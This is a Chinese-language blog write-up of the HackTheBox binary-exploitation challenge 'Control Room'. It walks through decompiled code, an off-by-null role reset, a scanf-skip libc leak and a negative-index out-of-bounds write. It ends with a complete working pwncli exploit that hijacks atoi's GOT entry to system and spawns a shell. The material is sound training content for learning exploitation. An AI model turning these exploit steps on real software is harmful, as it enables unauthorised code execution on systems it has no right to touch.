selph
selph
Published on 2024-11-15 / 28 Visits
0
0

[HTB] Control Room

前言

题目的要点有2个,一个是跳过scanf赋值的手法泄露libc,一个是GOT表劫持拿shell,跳过scanf赋值的技巧

今天是第16天,咕咕咕了好几天,最近太累了,一点精力没有,今天开始恢复练习!!

题目情况

After unearthing the crashed alien spacecraft you have hacked your way into it's interior. Nothing seems perticularily interesting until you find the spacecraft's control room. Filled with monitors, buttons and panels this room surely contains a lot of important information, including the coordinates of the underground alien vessels that you 've been looking for. You decide to start off by booting up the main computer. You hear an uncanny buzzing-like noise and then a monitor lights up requesting you to enter a username. Can you take control of the Control Room?

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

逆向分析

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[4]; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  *(_DWORD *)s = 0;
  user_register();                              // 读取字符串到局部变量缓冲区,复制到全局变量
  printf("\nAre you sure about your username choice? (y/n)");
  printf("\n> ");
  fgets(s, 4, stdin);
  s[strcspn(s, "\n")] = 0;
  if ( !strcmp(s, "y") )
    log_message(0, "User registered successfully.\n");
  else
    user_edit();                                // 申请一个堆作为缓冲区读取字符串,复制到全局变量
  menu();
}

这里进行了2个操作,先是注册,如果需要修改,就会进行修改用户名

user_register:

unsigned __int64 user_register()
{
  char src[256]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("<===[ Register ]===>\n");
  memset(src, 0, sizeof(src));
  printf("Enter a username: ");
  read_input(src, 256LL);
  strncpy(curr_user->buffer, src, 0x100uLL);
  curr_user->size = strlen(curr_user->buffer) + 1;
  return __readfsqword(0x28u) ^ v2;
}

读取256字节输入,计算长度,保存长度+1的size

user_edit:

void user_edit()
{
  int size; // [rsp+4h] [rbp-Ch]
  void *s; // [rsp+8h] [rbp-8h]

  puts("<===[ Edit Username ]===>\n");
  printf("New username size: ");
  size = read_num();
  getchar();
  if ( curr_user->size >= (unsigned __int64)size )// size需要比原来小
  {
    s = malloc(size + 1);                       // 申请内存
    if ( !s )
    {
      log_message(3u, "Please replace the memory catridge.");
      exit(-1);
    }
    memset(s, 0, size + 1);
    printf("\nEnter your new username: ");
    fgets((char *)s, size, stdin);              // 写入堆内存
    *((_BYTE *)s + strcspn((const char *)s, "\n")) = 0;// off by null
    strncpy(curr_user->buffer, (const char *)s, size + 1);// 复制到全局变量
    log_message(0, "User updated successfully!\n");
    free(s);                                    // 释放
  }
  else
  {
    log_message(3u, "Can't be larger than the current username.\n");
  }
}

如果之前输入256字节,其中最后一个字节是0x0a,被替换为00,然后写入结构体的size是0xff+1=0x100

这里输入的size最大输入0x100

当输入0x100字节时,这里会获取0x100字节的输入,然后对末尾置零,然后复制到全局变量

如果这里输入的0x100字节没有0x0a(\n),就会在末尾写入个0,offbynull

然后就是菜单环节:

void __noreturn menu()
{
  unsigned int option; // [rsp+Ch] [rbp-4h]

  while ( 1 )
  {
    print_banner();
    print_current_role();
    option = read_option(5u);
    printf("selection: %d\n", option);
    switch ( option )
    {
      case 1u:
        configure_engine();                     // 向全局数组保存数字2个
        break;
      case 2u:
        check_engines();                        // 显示值是否满足,只显示是或者否,没啥用应该
        break;
      case 3u:
        change_route();                         // 向另一个全局数组保存数字2个一组,共4组
                                                // 可以构造0x40大小内存内容
        break;
      case 4u:
        view_route();                           // 打印route的4组数值
        break;
      case 5u:
        change_role();                          // 设置状态
        break;
      default:
        log_message(3u, "Invalid option\n");
        exit(-1);
    }
  }
}

选项一共5个,一个一个看吧

opt1:


unsigned __int64 configure_engine()
{
  engines_stru *v0; // rcx
  __int64 v1; // rdx
  int num; // [rsp+Ch] [rbp-24h]
  __int64 l_thrust; // [rsp+10h] [rbp-20h] BYREF
  __int64 l_ratio; // [rsp+18h] [rbp-18h] BYREF
  char s[2]; // [rsp+25h] [rbp-Bh] BYREF
  char v7; // [rsp+27h] [rbp-9h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  *(_WORD *)s = 0;
  v7 = 0;
  if ( curr_user->is_Captain == 1 )
  {
    printf("\nEngine number [0-%d]: ", 3LL);    // 可用0-3,共4个
    num = read_num();
    if ( num <= 3 )                             // 局部变量接收2个数字
    {                                           // 可以是负数
      printf("Engine [%d]: \n", (unsigned int)num);
      printf("\tThrust: ");
      __isoc99_scanf("%ld", &l_thrust);
      printf("\tMixture ratio: ");
      __isoc99_scanf("%ld", &l_ratio);
    }
    getchar();
    printf("\nDo you want to save the configuration? (y/n) ");
    printf("\n> ");
    fgets(s, 3, stdin);
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "y") )                      // 保存会赋值给全局变量engines
                                                // OOB-写漏洞,可以改GOT表
    {
      v0 = &engines + num;
      v1 = l_ratio;
      v0->thrust = l_thrust;
      v0->ratio = v1;
      log_message(0, "Engine configuration updated successfully!\n");
    }
    else
    {
      log_message(1u, "Engine configuration cancelled.\n");
    }
  }
  else
  {
    log_message(3u, "Only technicians are allowed to configure the engines");
  }
  return __readfsqword(0x28u) ^ v8;
}

这里会校验curr_user结构体,分析得到结构体长这个样子:

00000000 user_stru       struc ; (sizeof=0x110, mappedto_8)
00000000 buffer          db 256 dup(?)
00000100 is_Captain      dd ?
00000104 Unuse           dd ?
00000108 size            dq ?
00000110 user_stru       ends
00000110

这里有一个权限位,紧挨着buffer的0x100字节内容,要么是0,1,2三种情况,用opt5可以更换,但是必须是0权限才能变更

这里需要权限位是1才能继续操作

可以用索引在engines结构体数组中赋值

00000000 engines_stru    struc ; (sizeof=0x10, mappedto_9)
00000000                                         ; XREF: .bss:engines/r
00000000 thrust          dq ?
00000008 ratio           dq ?                    ; XREF: check_engines+6F/o
00000010 engines_stru    ends

这里要求索引小于3,因为数组就4个,但是可以输入负数,导致OOB越界写入,可控GOT的值

opt2:

int check_engines()
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-4h]

  if ( curr_user->is_Captain != 1 )
    return log_message(3u, "Only technicians are allowed to check the engines.\n");
  result = puts("[===< Engine Check >===]");
  for ( i = 0; i <= 3; ++i )
  {
    if ( *(&engines.thrust + 2 * i) > 100 || *(&engines.ratio + 2 * i) > 100 )// 检查数字的值是否满足要求,无用
      return log_message(3u, "Faulty configuration found.\n");
    result = log_message(0, "All engines are configured correctly.\n");
  }
  return result;
}

无可利用的点

opt3:

unsigned __int64 change_route()
{
  int i; // [rsp+Ch] [rbp-54h]
  route_stru v2[4]; // [rsp+10h] [rbp-50h] BYREF
  char s[3]; // [rsp+55h] [rbp-Bh] BYREF
  unsigned __int64 v4; // [rsp+58h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  if ( curr_user->is_Captain )
  {
    log_message(3u, "Only the captain is allowed to change the ship's route\n");
  }
  else
  {
    for ( i = 0; i <= 3; ++i )
    {
      printf("<===[ Coordinates [%d] ]===>\n", (unsigned int)(i + 1));
      printf("\tLatitude  : ");
      __isoc99_scanf("%ld", &v2[i]);
      printf("\tLongitude : ");
      __isoc99_scanf("%ld", &v2[i].longitude);
    }
    getchar();
    printf("\nDo you want to save the route? (y/n) ");
    printf("\n> ");
    fgets(s, 3, stdin);
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "y") )
    {
      route[0] = v2[0];
      route[1] = v2[1];
      route[2] = v2[2];
      route[3] = v2[3];
      log_message(0, "The route has been successfully updated!\n");
    }
    else
    {
      log_message(1u, "Operation cancelled");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

这里对route结构进行赋值,对数组4个全部赋值

先将数值保存到局部变量中,然后用局部变量来赋值给结构体数组

00000000 route_stru      struc ; (sizeof=0x10, mappedto_10)
00000000                                         ; XREF: change_route+186/r
00000000                                         ; change_route+18E/w ...
00000000 Latitude        dq ?                    ; XREF: change_route:loc_401C88/r
00000000                                         ; change_route+178/w ...
00000008 longitude       dq ?                    ; XREF: print_coordinates+5F/o
00000008                                         ; change_route+174/r ...
00000010 route_stru      ends
00000010

opt4:

int view_route()
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-4h]

  if ( curr_user->is_Captain )
    return log_message(3u, "Only the captain is allowed to view the ship's route.\n");
  result = puts("<===[ Route ]===>");
  for ( i = 0; i <= 3; ++i )
    result = print_coordinates(i);
  return result;
}

int __fastcall print_coordinates(int a1)
{
  printf("<===[ Coordinates [%d] ]===>\n", (unsigned int)(a1 + 1));
  printf("\tLatitude  : %ld\n", route[a1].Latitude);
  return printf("\tLongitude : %ld\n", route[a1].longitude);
}

会把route的值都打印出来

opt5:

int change_role()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  if ( curr_user->is_Captain )
    return log_message(3u, "Only Captain is allowed to change roles.\n");
  puts("<===[ Available roles ]===>");
  puts("Technician: 1 | Crew: 2");
  printf("New role: ");
  num = read_num();
  if ( num > 1 )
    return log_message(3u, "Invalid role.");
  curr_user->is_Captain = num;
  return log_message(0, "New role has been set successfully!");
}

改变当前权限,可以设置为1或者2,前提是0

利用分析

思路分析:

通过最初的user_register和user_edit的offbynull操作,将权限位设置为0,就可以拿到最高权限了,可以改变当前权限的权限

程序中有一个OOB写漏洞,可以劫持GOT表,一般思路是改某个参数可控的函数为system,然后触发执行

这里的aoti就非常合适:

int read_num()
{
  char s[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  fgets(s, 4, stdin);
  return atoi(s);
}

那么完成这个事情最大的挑战就是,如何拿到libc地址泄露,这里我卡住了很久

当前情况分析:

  • 进入菜单前的off by null,已经用过了,改成了角色0
  • 选项1,需要角色1,OOB写漏洞,需要libc泄露才行
  • 选项2,需要角色1,无用
  • 选项3,需要角色0,写入数据到route数组
  • 选项4,需要角色0,读取数据从route数组
  • 选项5,切换角色,从0切换到1

现在通过off by null成为角色0,接下来需要泄露libc地址,那就得从选项3和选项4中想办法,完成泄露之后,切换到角色1然后OOB写GOT拿shell

sa(b"username: ",b"a"*0x100)
sla(b"> ",b"n")
sla(b"New username size: ",b"256")
sl(b"b"*254)

leak libc:一个格式化字符串技巧:-

回顾选项3:

      printf("<===[ Coordinates [%d] ]===>\n", (unsigned int)(i + 1));
      printf("\tLatitude  : ");
      __isoc99_scanf("%ld", &v2[i]);
      printf("\tLongitude : ");
      __isoc99_scanf("%ld", &v2[i].longitude);
    }
    getchar();
    printf("\nDo you want to save the route? (y/n) ");
    printf("\n> ");
    fgets(s, 3, stdin);
    s[strcspn(s, "\n")] = 0;
    if ( !strcmp(s, "y") )
    {
      route[0] = v2[0];
      route[1] = v2[1];
      route[2] = v2[2];
      route[3] = v2[3];
      log_message(0, "The route has been successfully updated!\n");

这里读取数据到局部变量,这里的局部变量是未初始化的内存,如果能把未初始化的内存暴露出来打印出来,可能能泄露出libc地址

要完成这件事,需要做到scanf不写入任何数值,不干扰原本栈的信息

这里的scanf的格式化字符串是%ld,想要的是数字,输入-或者+的时候,会直接返回,且不写入任何数据到缓冲区

由此得到libc泄露

def opt4():
    cmd('4')
    #......

def opt3():
    cmd('3')
    for i in range(8):
        sla(b": ",b"+")
    sla(b"> ",b"y")
    #......

opt3()
opt4()

ru(b"<===[ Coordinates [1] ]===>")
ru(b"Longitude : ")
leak = rl()[:-1]
leak = int(leak)
success(f"leak heap address: {hex(leak)}")

libc.address = leak  - libc.sym.atoi -20
success(f"libc address: {hex(libc.address)}")

hijack GOT Drop Shell

最后就是切换角色,劫持atoi为system,拿shell了:

# hijack the got
change_role(1)
opt1(-8, libc.sym.system, "-")

完整exp:

#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
libc = ELF("./libc.so.6")
def cmd(i, prompt=b"Option [1-5]: "):
    sla(prompt, i)

def opt1(idx:int, val1:int , val2:int ):
    cmd('1')
    sla(b": ",str(idx).encode())
    sla(b": ",str(val1).encode())
    sla(b": ",str(val2).encode())
    sla(b"> ",b"y")
    #......

def opt4():
    cmd('4')
    #......

def opt3():
    cmd('3')
    for i in range(8):
        sla(b": ",b"+")
    sla(b"> ",b"y")
    #......

def change_role(role:int):
    cmd('5')
    sla(b"role: ",str(role).encode())
    #......

sa(b"username: ",b"a"*0x100)
sla(b"> ",b"n")
sla(b"New username size: ",b"256")
sl(b"b"*254)

opt3()
opt4()

ru(b"<===[ Coordinates [1] ]===>")
ru(b"Longitude : ")
leak = rl()[:-1]
leak = int(leak)
success(f"leak heap address: {hex(leak)}")

libc.address = leak  - libc.sym.atoi -20
success(f"libc address: {hex(libc.address)}")

# hijack the got
change_role(1)
opt1(-8, libc.sym.system, "-")

ia()

总结

题目的要点有2个,一个是跳过scanf赋值的手法泄露libc,一个是GOT表劫持拿shell

参考资料


Comment